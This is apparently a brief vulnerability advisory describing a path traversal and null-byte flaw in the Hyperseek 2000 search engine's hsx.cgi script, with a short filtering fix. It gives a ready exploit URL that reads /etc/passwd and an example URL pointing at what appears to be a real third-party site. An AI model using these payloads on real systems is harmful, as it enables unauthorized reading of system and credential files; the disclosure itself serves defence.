Hyperseek 2000 Search Engine - "show directory & files" bug.
--------------------------------------------------------------------

1. Standart perl problem is in statistic module - file: hsx.cgi, script does not filter ../ and %00. Through this bug, 
you can remotely read any file and make listing of directory. ../ - directory up, %00 hex symbol, that means end of 
line.

2. Exploit url:
http://www.victim.ru/cgi-bin/hsx.cgi?show=../../../../../../etc/passwd%00
Note: directory can change and amount of ../ can vary.

3. Example:
http://www.netsurprise.de/cgi-bin/suche/hsx.cgi?show=../../../../../../../etc/passwd%00

4. Filter symbols like:
$dat=~ s/\0//g;
